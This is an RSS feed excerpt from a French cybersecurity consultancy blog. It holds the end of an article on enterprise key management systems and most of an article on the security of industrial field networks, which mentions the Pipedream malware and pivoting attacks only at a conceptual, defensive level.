<li data-leveltext="\" data-font="Tahoma" data-listid="3" data-list-defn-props="{&quot;335552541&quot;:1,&quot;335559685&quot;:720,&quot;335559991&quot;:360,&quot;469769226&quot;:&quot;Tahoma&quot;,&quot;469769242&quot;:[8226],&quot;469777803&quot;:&quot;left&quot;,&quot;469777804&quot;:&quot;\\&quot;,&quot;469777815&quot;:&quot;hybridMultilevel&quot;}" aria-setsize="-1" data-aria-posinset="8" data-aria-level="1"><span data-contrast="auto">Utimaco, dont le KMS se nomme </span><a href="https://utimaco.com/products/categories/key-management/keybridge-universal-key-management-ukm"><span data-contrast="none">KeyBridge</span></a><span data-contrast="auto">,</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559739&quot;:160,&quot;335559740&quot;:259}"> </span></li>
<li data-leveltext="\" data-font="Tahoma" data-listid="3" data-list-defn-props="{&quot;335552541&quot;:1,&quot;335559685&quot;:720,&quot;335559991&quot;:360,&quot;469769226&quot;:&quot;Tahoma&quot;,&quot;469769242&quot;:[8226],&quot;469777803&quot;:&quot;left&quot;,&quot;469777804&quot;:&quot;\\&quot;,&quot;469777815&quot;:&quot;hybridMultilevel&quot;}" aria-setsize="-1" data-aria-posinset="9" data-aria-level="1"><span data-contrast="auto">Thales, avec par exemple son </span><a href="https://www.thalesgroup.com/en/markets/digital-identity-and-security/iot/industries/automotive/trusted-key-manager"><span data-contrast="none">Trusted Key Manager (TKM)</span></a><span data-contrast="auto">.</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559739&quot;:160,&quot;335559740&quot;:259}"> </span></li>
</ul>
<p><span data-contrast="auto">Ces entreprises proposent notamment de faire fonctionner leurs outils avec des ressources logicielles, telles que les KMS de Microsoft, Amazon et Google pour HashiCorp ou encore VMware pour Entrust. Mais aussi des ressources matérielles, tels que des HSM qui apportent un niveau supérieur de sécurité contre les attaques physiques.</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559739&quot;:160,&quot;335559740&quot;:259}"> </span></p>
<p><span data-contrast="auto">Enfin, le marché a aussi été rejoint par des </span><b><span data-contrast="auto">intégrateurs</span></b><span data-contrast="auto">, comme Atos avec sa suite </span><a href="https://atos.net/en/solutions/cyber-security/data-protection-and-governance/trustway-dataprotect-kms-key-manager"><span data-contrast="none">Trustway DataProtect KMS</span></a><span data-contrast="auto"> qui se destine à une installation </span><i><span data-contrast="auto">on premises</span></i><span data-contrast="auto">, sur le matériel de l’entreprise.</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559739&quot;:160,&quot;335559740&quot;:259}"> </span></p>
<p><span data-contrast="auto">Thalès enfin, qui se positionne à la fois comme fournisseur </span><i><span data-contrast="auto">hardware</span></i><span data-contrast="auto">, comme éditeur et comme intégrateur, propose </span><a href="https://cpl.thalesgroup.com/fr/encryption/key-management"><span data-contrast="none">plusieurs produits de gestion des clés pour les entreprises</span></a><span data-contrast="auto">. Ceux-ci fonctionnent de mise avec ceux proposés tant par les acteurs plus spécialisés qu’avec les services cloud préférés de leurs clients.</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559739&quot;:160,&quot;335559740&quot;:259}"> </span></p>
<p><img loading="lazy" decoding="async" class="size-full wp-image-23232 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/05/Capture-decran-2024-05-29-145113.png" alt="" width="1471" height="789" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/05/Capture-decran-2024-05-29-145113.png 1471w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/05/Capture-decran-2024-05-29-145113-356x191.png 356w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/05/Capture-decran-2024-05-29-145113-71x39.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/05/Capture-decran-2024-05-29-145113-768x412.png 768w" sizes="auto, (max-width: 1471px) 100vw, 1471px" /></p>
<p style="text-align: center;"><i><span data-contrast="none">Figure </span></i><i><span data-contrast="none">3</span></i><i><span data-contrast="none"> : Trois grands types de fournisseurs de KMS</span></i><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335551550&quot;:2,&quot;335551620&quot;:2,&quot;335559739&quot;:200,&quot;335559740&quot;:240}"> </span></p>
<h1 aria-level="1"><span data-contrast="none">Les avantages à utiliser un KMS</span><span data-ccp-props="{&quot;134245418&quot;:true,&quot;134245529&quot;:true,&quot;201341983&quot;:0,&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559738&quot;:360,&quot;335559739&quot;:240,&quot;335559740&quot;:259}"> </span></h1>
<p><span data-contrast="auto">Les KMS (Key Management Systems) sont des outils dont le potentiel complet est encore à explorer, mais qui peuvent se révéler particulièrement utiles pour gérer de manière centralisée et sécurisée les clés de chiffrement d’une entreprise. Voici quelques avantages que l’on peut tirer de leur usage.</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559739&quot;:160,&quot;335559740&quot;:259}"> </span></p>
<p><span data-contrast="auto">Tout d’abord, les clés seront plus faciles à </span><b><span data-contrast="auto">déployer</span></b><span data-contrast="auto">. Les KMS permettent de </span><b><span data-contrast="auto">générer</span></b><span data-contrast="auto"> rapidement et de manière automatisée de nouvelles clés cryptographiques, ce qui est particulièrement utile lorsqu’il est nécessaire de générer de nombreuses clés différentes pour transmettre à des produits, objets connectés ou systèmes industriels.</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559739&quot;:160,&quot;335559740&quot;:259}"> </span></p>
<p><span data-contrast="auto">Dans un contexte où les clés des objets connectés ne sont souvent pas renouvelées et sont gérées de manière non standardisée, les KMS permettront aux entreprises d’introduire le niveau de sécurité qui leur permettra de respecter les futures </span><b><span data-contrast="auto">régulations</span></b><span data-contrast="auto"> des systèmes IoT. Même chose pour le chiffrement de données sensibles dans une base de données, qui est le cas d’usage à l’origine de la naissance des produits KMS.</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559739&quot;:160,&quot;335559740&quot;:259}"> </span></p>
<p><span data-contrast="auto">Pour améliorer le </span><b><span data-contrast="auto">stockage</span></b><span data-contrast="auto"> et l’</span><b><span data-contrast="auto">accès aux clés</span></b><span data-contrast="auto">, les KMS offrent des APIs et interfaces centralisées, intégrant une gestion des permissions en lien avec la gestion des accès et identités (IAM), ce qui peut être particulièrement utile pour les entreprises disposant de nombreux types de clés et utilisateurs des clés de chiffrement. La difficulté sera de convaincre les fournisseurs et partenaires extérieurs à l’entreprise de rentrer les clés par le biais du KMS. Ce sera un élément à négocier dans les contrats cadres futurs.</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559739&quot;:160,&quot;335559740&quot;:259}"> </span></p>
<p><span data-contrast="auto">Les KMS permettent également de gérer la </span><b><span data-contrast="auto">dépréciation</span></b><span data-contrast="auto"> des clés de chiffrement, en les </span><b><span data-contrast="auto">remplaçant automatiquement</span></b><span data-contrast="auto"> par de nouvelles clés lorsqu&rsquo;elles expirent, qu&rsquo;elles sont compromises ou tout simplement obsolètes, par exemple à l’issue d’un changement dans la PSSI. Cela permet de maintenir la sécurité de vos données à tout moment.</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559739&quot;:160,&quot;335559740&quot;:259}"> </span></p>
<p><span data-contrast="auto">En résumé, les KMS sont des outils précieux pour gérer efficacement et de manière sécurisée les clés de chiffrement d’une entreprise. Ils permettent ainsi d’</span><b><span data-contrast="auto">améliorer sa conformité</span></b><span data-contrast="auto"> aux réglementations et aux normes de sécurité en s’assurant que les procédures de gestion de clés et les clés utilisées sont conformes aux standards établis.</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559739&quot;:160,&quot;335559740&quot;:259}"> </span></p>
<h1 aria-level="1"><span data-contrast="none">Les pièges à éviter lors de l&rsquo;implémentation d&rsquo;un KMS</span><span data-ccp-props="{&quot;134245418&quot;:true,&quot;134245529&quot;:true,&quot;201341983&quot;:0,&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559738&quot;:360,&quot;335559739&quot;:240,&quot;335559740&quot;:259}"> </span></h1>
<p><span data-contrast="auto">Mettre en place un KMS (Key Management System) est une démarche lourde, qui peut être freinée ou même stoppée par les aspects suivants :</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559739&quot;:160,&quot;335559740&quot;:259}"> </span></p>
<ul>
<li data-leveltext="\" data-font="Tahoma" data-listid="4" data-list-defn-props="{&quot;335552541&quot;:1,&quot;335559685&quot;:720,&quot;335559991&quot;:360,&quot;469769226&quot;:&quot;Tahoma&quot;,&quot;469769242&quot;:[8226],&quot;469777803&quot;:&quot;left&quot;,&quot;469777804&quot;:&quot;\\&quot;,&quot;469777815&quot;:&quot;hybridMultilevel&quot;}" aria-setsize="-1" data-aria-posinset="1" data-aria-level="1"><span data-contrast="auto">Coût du déploiement : les KMS peuvent être très coûteux à déployer. Il s’agit des </span><b><span data-contrast="auto">frais de licence</span></b><span data-contrast="auto">, mais aussi des </span><b><span data-contrast="auto">ressources matérielles</span></b><span data-contrast="auto"> comme les HSM à mettre en place pour le stockage des clés et à dimensionner en fonction de l’usage qui en sera fait (fréquence d’accès, volumétrie).</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559739&quot;:160,&quot;335559740&quot;:259}"> </span></li>
</ul>
<ul>
<li data-leveltext="\" data-font="Tahoma" data-listid="4" data-list-defn-props="{&quot;335552541&quot;:1,&quot;335559685&quot;:720,&quot;335559991&quot;:360,&quot;469769226&quot;:&quot;Tahoma&quot;,&quot;469769242&quot;:[8226],&quot;469777803&quot;:&quot;left&quot;,&quot;469777804&quot;:&quot;\\&quot;,&quot;469777815&quot;:&quot;hybridMultilevel&quot;}" aria-setsize="-1" data-aria-posinset="2" data-aria-level="1"><span data-contrast="auto">Complexité de la mise en place : la mise en place d&rsquo;un KMS peut être complexe, en particulier pour les entreprises disposant de nombreux appareils ou systèmes chiffrés ; pour lesquelles il aura justement une </span><b><span data-contrast="auto">forte valeur ajoutée</span></b><span data-contrast="auto">. Il peut être nécessaire de mettre en place de </span><b><span data-contrast="auto">nombreuses intégrations</span></b><span data-contrast="auto"> pour communiquer avec les APIs du KMS en fonctions des différents cas d’usages.</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559739&quot;:160,&quot;335559740&quot;:259}"> </span></li>
</ul>
<ul>
<li data-leveltext="\" data-font="Tahoma" data-listid="4" data-list-defn-props="{&quot;335552541&quot;:1,&quot;335559685&quot;:720,&quot;335559991&quot;:360,&quot;469769226&quot;:&quot;Tahoma&quot;,&quot;469769242&quot;:[8226],&quot;469777803&quot;:&quot;left&quot;,&quot;469777804&quot;:&quot;\\&quot;,&quot;469777815&quot;:&quot;hybridMultilevel&quot;}" aria-setsize="-1" data-aria-posinset="3" data-aria-level="1"><span data-contrast="auto">Procédures de </span><i><span data-contrast="auto">change management</span></i><span data-contrast="auto"> spécifiques : il sera parfois difficile de convaincre tous les utilisateurs de l&rsquo;entreprise de l&rsquo;importance de la mise en place d&rsquo;un KMS, et de les </span><b><span data-contrast="auto">inciter à utiliser cet outil</span></b><span data-contrast="auto"> de manière efficace. Pour résoudre ce problème, il faudra s’appuyer sur une stratégie de </span><b><span data-contrast="auto">communication</span></b><span data-contrast="auto"> et de </span><b><span data-contrast="auto">formation</span></b><span data-contrast="auto"> pour sensibiliser les utilisateurs à l&rsquo;importance de la sécurité des clés de chiffrement et à l&rsquo;utilité du système.</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559739&quot;:160,&quot;335559740&quot;:259}"> </span></li>
</ul>
<ul>
<li data-leveltext="\" data-font="Tahoma" data-listid="4" data-list-defn-props="{&quot;335552541&quot;:1,&quot;335559685&quot;:720,&quot;335559991&quot;:360,&quot;469769226&quot;:&quot;Tahoma&quot;,&quot;469769242&quot;:[8226],&quot;469777803&quot;:&quot;left&quot;,&quot;469777804&quot;:&quot;\\&quot;,&quot;469777815&quot;:&quot;hybridMultilevel&quot;}" aria-setsize="-1" data-aria-posinset="4" data-aria-level="1"><span data-contrast="auto">Compétences rares sur le marché : des </span><b><span data-contrast="auto">architectes</span></b><span data-contrast="auto"> informatiques, des </span><b><span data-contrast="auto">spécialistes</span></b><span data-contrast="auto"> en cryptographie, ou encore des </span><b><span data-contrast="auto">gestionnaires de projets</span></b><span data-contrast="auto"> capables de piloter des projets structurants en cybersécurité. Tout autant de profils durs à sourcer et qui seront d’autant plus nombreux à recruter qu’il existe de cas d’usages de clés cryptographiques au sein de l’organisation. L’appel à des expertises externes sera alors très profitable et difficile à éviter.</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559739&quot;:160,&quot;335559740&quot;:259}"> </span></li>
</ul>
<h1 aria-level="1"><span data-contrast="none">Les KMS, une solution essentielle pour la gestion sécurisée des clés de chiffrement</span><span data-ccp-props="{&quot;134245418&quot;:true,&quot;134245529&quot;:true,&quot;201341983&quot;:0,&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559738&quot;:360,&quot;335559739&quot;:240,&quot;335559740&quot;:259}"> </span></h1>
<p><span data-contrast="auto">En conclusion, les KMS sont une solution essentielle pour gérer de manière sécurisée les clés de chiffrement de votre entreprise. Tant pour les grandes entreprises disposant de nombreux appareils ou systèmes chiffrés, ou une petite entreprise rencontrant le même type de problématiques, un KMS peut grandement aider à centraliser et à sécuriser la gestion des clés crypto.</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559739&quot;:160,&quot;335559740&quot;:259}"> </span></p>
<p><span data-contrast="auto">A titre d’exemple, prenons le cas d’une entreprise de fret. Celle-ci doit gérer de nombreux composants dans les véhicules comme des capteurs pour s’assurer du respect de la chaîne du froid ou simplement des appareils pour le suivi les produits. Ces objets se connectent à des réseaux publics ou d’entreprise, transmettent des données chiffrées, mais sont aussi mis à jour régulièrement. Il faut donc signer les firmware lors du déploiement d’une mise à jour, et s’assurer que les clés de chiffrement des données que transmettent les capteurs, pour s’assurer de leur intégrité et de leur confidentialité, sont bien stockées de manière sécurisées, mais aussi sont à disposition des opérateurs en cas de modification d’un capteur. Pour tous ces processus, à la fois pour les automatiser mais aussi pour faciliter le travail des opérateurs et s’assurer que chaque intervenant ne dispose d’un accès qu’aux clés qu’il utilise, le KMS sera particulièrement utile. L’outil se chargera de la génération des clés, ou de leur récupération si elles ont été générées de manière externe, puis de tout le reste des étapes du </span><b><span data-contrast="auto">cycle de vie</span></b><span data-contrast="auto"> de la clé.</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559739&quot;:160,&quot;335559740&quot;:259}"> </span></p>
<p><span data-contrast="auto">Il reste à noter que l’évaluation de la pertinence de cette technologie est à prendre au sérieux. Des études en amont ainsi qu’une procédure d’appel d’offre seront nécessaires pour s’assurer de la mise en place du bon outil. En réalisant ces procédures avec une vision précise sur les usages métiers, l’entreprise s’assurera de ne pas avoir à en changer par la suite.</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559739&quot;:160,&quot;335559740&quot;:259}"> </span></p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/2024/05/les-kms-la-cle-de-la-gestion-securisee-des-objets-cryptographiques/">Les KMS : la clé de la gestion sécurisée des objets cryptographiques </a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com">RiskInsight</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://www.riskinsight-wavestone.com/2024/05/les-kms-la-cle-de-la-gestion-securisee-des-objets-cryptographiques/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Les réseaux de terrain : l’historique des systèmes industriels à l’épreuve du futur</title>
		<link>https://www.riskinsight-wavestone.com/2024/02/les-reseaux-de-terrain-lhistorique-des-systemes-industriels-a-lepreuve-du-futur/</link>
					<comments>https://www.riskinsight-wavestone.com/2024/02/les-reseaux-de-terrain-lhistorique-des-systemes-industriels-a-lepreuve-du-futur/#respond</comments>
		
		<dc:creator><![CDATA[Fabien Tessier]]></dc:creator>
		<pubDate>Tue, 27 Feb 2024 08:56:41 +0000</pubDate>
				<category><![CDATA[Cybersecurity & Digital Trust]]></category>
		<category><![CDATA[Deep-dive]]></category>
		<category><![CDATA[Manufacturing & Industry 4.0]]></category>
		<guid isPermaLink="false">https://www.riskinsight-wavestone.com/?p=22512</guid>

					<description><![CDATA[<p>Les systèmes industriels sont une catégorie de système d’information à part, possédant des codes et propriétés différentes des systèmes IT « classiques ». Il est reconnu que le niveau de maturité du monde industriel en matière de cybersécurité est globalement en retard...</p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/2024/02/les-reseaux-de-terrain-lhistorique-des-systemes-industriels-a-lepreuve-du-futur/">Les réseaux de terrain : l’historique des systèmes industriels à l’épreuve du futur</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com">RiskInsight</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<p>Les systèmes industriels sont une catégorie de système d’information à part, possédant des codes et propriétés différentes des systèmes IT « classiques ». Il est reconnu que le niveau de maturité du monde industriel en matière de cybersécurité est globalement en retard comparé à ce qui se fait sur des SI classiques. Ce retard peut être expliqué par plusieurs facteurs, l’un d’eux étant l’héritage historique présent sur les systèmes industriels parfois en place depuis plusieurs décennies. Cet article va se concentrer sur l’un de ces aspects historiques que l’on peut retrouver dans bon nombre de réseaux industriels aujourd’hui : <strong>les réseaux dit « automates » ou « de terrain »</strong>. Nous allons d’abord aborder l’historique qui a abouti à l’existence de ces réseaux, puis étudier sur différentes thématiques les points forts et faibles du modèle vis-à-vis des besoins actuels et futurs de cybersécurité pour répondre à la problématique suivante : <strong>les réseaux de terrain sont-ils adaptés aux nouveaux besoins de cybersécurité ?</strong></p>
<p> </p>
<h1>Historique</h1>
<p>Remontons dans le temps : nous n’allons pas parler des différentes révolutions industrielles, mais notre histoire commence à l’entame des années 70. A l’époque, pas de réseau Ethernet, de modèle OSI ou même d’informatique. Les systèmes de production industriels reposent sur des mécanismes physiques à travers l’utilisation de <strong>signaux pneumatiques</strong> ou <strong>électriques</strong>. Les années 70 voient l’arrivée des premiers principes d’automatisation, et l’intégration des premiers équipements intelligents : les <strong>automates de programmation industrielle</strong>. Ces équipements permettent une mutualisation des ressources, un automate pouvant gérer plusieurs entrées et sorties électriques, et donc de centraliser la gestion des processus. Les automates intègrent aussi des modules de communications, et les systèmes industriels voient alors l’apparition <strong>des premiers bus réseau</strong>, avec l’utilisation de <strong>protocoles de communication série</strong>.</p>
<p>Ce modèle d’architecture continuera de se développer dans les années 80 avec la multiplication des protocoles industriels, notamment sur <strong>le modèle « Controller-Workers »</strong> : Un automate principal contient la base de données centralisée et joue le rôle de chef d’orchestre en étant relié aux « Workers », correspondant à d’autres automates, cartes d’entrées/sorties déportées, etc… Cette architecture permet de simplifier la programmation des processus en un point unique, et aussi la communication avec les organes de visualisation type interface homme-machine ou SCADA propriétaire.</p>
<p>Les années 90 voient <strong>la démocratisation du modèle TCP/IP</strong> et l’intégration de l’informatique « classique » dans les environnements industriels : plus besoin d’équipements propriétaires, un logiciel SCADA peut maintenant s’installer sur des systèmes classiques… encore faut-il que ces ordinateurs puissent communiquer avec les automates ! Des cartes de réseaux séries existent, mais les protocoles industriels commencent à s’adapter pour fonctionner sur du réseau Ethernet classique. Peu à peu, on remplace les automates maîtres afin de leur permettre d’utiliser les protocoles TCP/IP sur le réseau principal, tout en continuant à avoir des cartes réseaux séries pour les équipements de terrain. Et puis ce fut au tour des équipements de terrain de s’adapter à la standardisation de l’utilisation de TCP/IP plus ou moins partout, faisant qu’aujourd’hui l’utilisation de communications séries est minime. Même les entrées/sorties électriques tendent aujourd’hui à être délaissées au profit des liaisons IP sur des capteurs et actionneurs, via par exemple l’utilisation de connectiques « Single Pair Ethernet » assurant une connexion économique et peu encombrante.</p>
<p style="text-align: center;"><em><img loading="lazy" decoding="async" class="alignnone  wp-image-22565" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/02/FR1.png" alt="" width="601" height="358" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/02/FR1.png 1566w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/02/FR1-320x191.png 320w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/02/FR1-65x39.png 65w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/02/FR1-120x70.png 120w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/02/FR1-768x458.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/02/FR1-1536x916.png 1536w" sizes="auto, (max-width: 601px) 100vw, 601px" /><br />Evolution des architectures terrains<br /></em></p>
<p>On en arrive donc aujourd’hui à pouvoir rencontrer régulièrement l’architecture suivante : <strong>Un réseau physique industriel « principal »</strong> (en topologie étoile ou en anneau) sur lequel on retrouve tous les équipements de supervision et de communications avec l’extérieur (SCADA, Data Historian, poste opérateur…) ainsi que les automates « controllers », qui chacun possèdent un second port réseau. Ce second port réseau permet de créer sur chaque automate un sous-réseau isolé sur lequel se trouve les équipements au plus proche du processus physique. L’automate controller a alors un rôle de « pivot fonctionnel », échangeant d’un côté avec le SCADA principalement, et de l’autre avec les équipements de terrain via les registres de données de l’automate. Cette architecture peut être déclinée de plusieurs façon, par exemple en remplaçant l’automate pivot par un serveur classique, ou en combinant plusieurs couches de réseaux isolés avec un serveur SCADA possédant deux ports réseau, séparant le réseau industriel principal et le réseau de supervision dans lequel on retrouverait les automates controller sur lesquels se fait une nouvelle séparation avec des réseaux de terrain.</p>
<p style="text-align: center;"><em><img loading="lazy" decoding="async" class="alignnone  wp-image-22567" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/02/FR2.png" alt="" width="601" height="387" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/02/FR2.png 1549w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/02/FR2-297x191.png 297w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/02/FR2-61x39.png 61w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/02/FR2-768x494.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/02/FR2-1536x989.png 1536w" sizes="auto, (max-width: 601px) 100vw, 601px" /><br />Exemple d’architecture industrielle intégrant des réseaux de terrain</em></p>
<p>Maintenant l’historique abordé, parlons du présent et notamment des trois évolutions qui nous amènent aujourd’hui à questionner la pertinence de ce modèle d’architecture :</p>
<ul>
<li><strong>L’industrie 4.0 </strong>qui a changé l’exposition des réseaux industriels, passant d’un modèle isolé vers un modèle ultra-connecté afin de répondre aux enjeux de big data, d’interconnexion avec le Cloud, de jumeau numérique, etc…</li>
<li><strong>La standardisation des technologies industrielles</strong> permettant de se détacher des fournisseurs industriels, via le développement de « Soft PLC » sur Linux ou Windows embarqué ou l’utilisation de protocoles industriels standardisés type OPC-UA.</li>
<li><strong>L’introduction des solutions de cybersécurité</strong> dans le cœur du réseau industriel comme les serveurs de mise à jour, des pare-feux, des antivirus voire EDR ou même des sondes de cartographie, dont la présence prend sens avec la modernisation des infrastructures informatiques et le développement de la cybersécurité en milieu industriel.</li>
</ul>
<p>Pour étudier la pertinence des réseaux de terrain face à ces nouveaux enjeux, nous allons aborder quatre sujets de sécurité opérationnelle : la sécurité des réseaux, la détection &amp; cartographie, la gestion des mises à jour et les accès distants.</p>
<p> </p>
<h1>Sécurité réseau</h1>
<p>La première question à se poser est simple : Quel est l’avantage des réseaux de terrain d’un point de vue cybersécurité ? Cet avantage se traduit dans le principe même du modèle d’architecture : l’utilisation d’un équipement en pivot offre <strong>une isolation physique</strong> entre un réseau industriel et un réseau de terrain. Il n’est donc par principe impossible de faire communiquer directement les deux réseaux, la transmission d’informations se faisant à travers une base de données (registres pour les automates, base de données OPC pour un serveur…). Pas besoin de pare-feu ou de diode : aucun flux ne peut aller d’un réseau à un autre, ce qui représente le meilleur moyen de se protéger d’une propagation vers les équipements de terrain.</p>
<p><strong>Mais cette séparation via un équipement physique non-dédié au réseau est-elle vraiment infaillible ?</strong> Sur un équipement fonctionnant avec un système « classique » Windows ou Linux standard, la réponse est non. Il existe de multiples exemples d’attaques convertissant ces systèmes en pivot, exploitant les nombreuses possibilités offertes : exploitation de protocole d’accès distant type RDP, VNC ou SSH, RAT, implant C2C… De ce fait, une séparation avec ce type de système ralentira un attaquant mais ne réduit finalement pas fortement les possibilités d’atteindre les réseaux de terrain qui existeraient sur d’autres cartes réseaux.</p>
<p>Pour le cas d’un automate « classique », il s’agit la plupart du temps d’un équipement fonctionnant sur un système d’exploitation propriétaire qui offre peu de fonctionnalités : à minima il permet de faire tourner des programmes industriels et de communiquer avec un ou plusieurs protocoles industriels, et peut optionnellement contenir des serveurs plus classiques type HTTP ou FTP. L’équipement propose donc beaucoup moins de fonctionnalité qu’un ordinateur ou serveur, et n’a pas vocation à permettre des passerelles entre ses différentes cartes réseaux… du moins, c’est ce qu’on a tendance à croire. Il a été cependant prouvé qu’il est possible de <strong>créer des passerelles</strong> entre les différents ports réseaux d’un automate : via des travaux de recherches comme ceux de Nicolas Delhaye and Flavian Dola présentés lors de la GreHack 2020 (la vidéo <a href="https://www.youtube.com/watch?v=PfdoaxYkmUE"><u>ici</u></a>), mais surtout plus concrètement à travers <strong>le malware Pipedream</strong> découvert en 2022. Notamment, ce malware permet de créer des routes sur des automates Schneider afin de les transformer en proxy et leur donner la capaciter de router n’importe quel protocole vers les réseaux de terrain.</p>
<p style="text-align: center;"><em><img loading="lazy" decoding="async" class="alignnone  wp-image-22569" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/02/FR3.png" alt="" width="671" height="223" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/02/FR3.png 1894w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/02/FR3-437x145.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/02/FR3-71x24.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/02/FR3-768x255.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/02/FR3-1536x510.png 1536w" sizes="auto, (max-width: 671px) 100vw, 671px" /><br />Illustration du fonctionnement du module Pipedream ciblant les équipements Schneider</em></p>
<p>Nous avons donc la preuve que même dans le cas d’une séparation par un automate, le modèle n’est pas infaillible, mais il permet tout de même de fortement réduire les risques en n’exposant les réseaux de terrain qu’à des attaques très avancées.</p>
<p> </p>
<h1>Cartographie et supervision</h1>
<p>Suite au paragraphe précédent se pose naturellement la problématique suivante : comment superviser un réseau dont le point fort est d’être isolé ? Premièrement au sujet de la journalisation, <strong>le constat actuel est que les automates et équipements industriels sont encore très peu inclus dans les périmètres de supervision de sécurité</strong> : pour des raisons techniques, tous les équipements n’étant pas forcément en capacité de remonter des journaux type syslog, mais aussi organisationnel, les SOC manquant encore de maturité pour exploiter correctement les journaux d’évènements de ce genre d’équipement industriel.</p>
<p>Afin de combler ce manque de visibilité, les environnements industriels sont de plus en plus sujet à l’installation d’une sonde réseau, permettant de répondre aux besoins de supervision et de cartographie. Les systèmes qui rentrent dans le périmètre d’application de la Loi de Programmation Militaire sont notamment dans l’obligation d’installer une sonde de détection qualifiée par l’ANSSI. Sur le plan technique, il est possible de faire communiquer des réseaux isolés avec une sonde en utilisant des TAPs réseau, qui ont pour fonction de copier le trafic réseau de manière passive pour permettre l’écoute dudit trafic. Sur le plan stratégique, les réseaux de terrain sont rarement l’endroit à surveiller côté réseau. On privilégiera les points d’interconnexions avec les autres réseaux (entreprise, fournisseur…) ou les équipements critiques pour le pilotage comme le SCADA.</p>
<p style="text-align: center;"><em><img loading="lazy" decoding="async" class="alignnone  wp-image-22571" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/02/FR4.png" alt="" width="600" height="318" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/02/FR4.png 1750w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/02/FR4-360x191.png 360w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/02/FR4-71x39.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/02/FR4-768x407.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/02/FR4-1536x815.png 1536w" sizes="auto, (max-width: 600px) 100vw, 600px" /><br />Exemple d’architecture de supervision intégrant les réseaux de terrain</em></p>
<p>La solution des TAPs n’est cependant pas applicable pour des sondes « actives » qui vont chercher à faire de la cartographie en questionnant les différents équipements sur le réseau. Mais ce type de solution est rarement mis en place dans un contexte industriel afin d’éviter de « stresser » le réseau et les équipements.</p>
<p>Le modèle des réseaux de terrain reste donc compatible en se concentrant sur la supervision du réseau, avec l’installation de sonde pour de la détection, ainsi que de la cartographie passive. La remontée de journaux systèmes des automates et équipements industriels reste encore trop peu pertinente vis-à-vis des capacités d’analyse des SOC.</p>
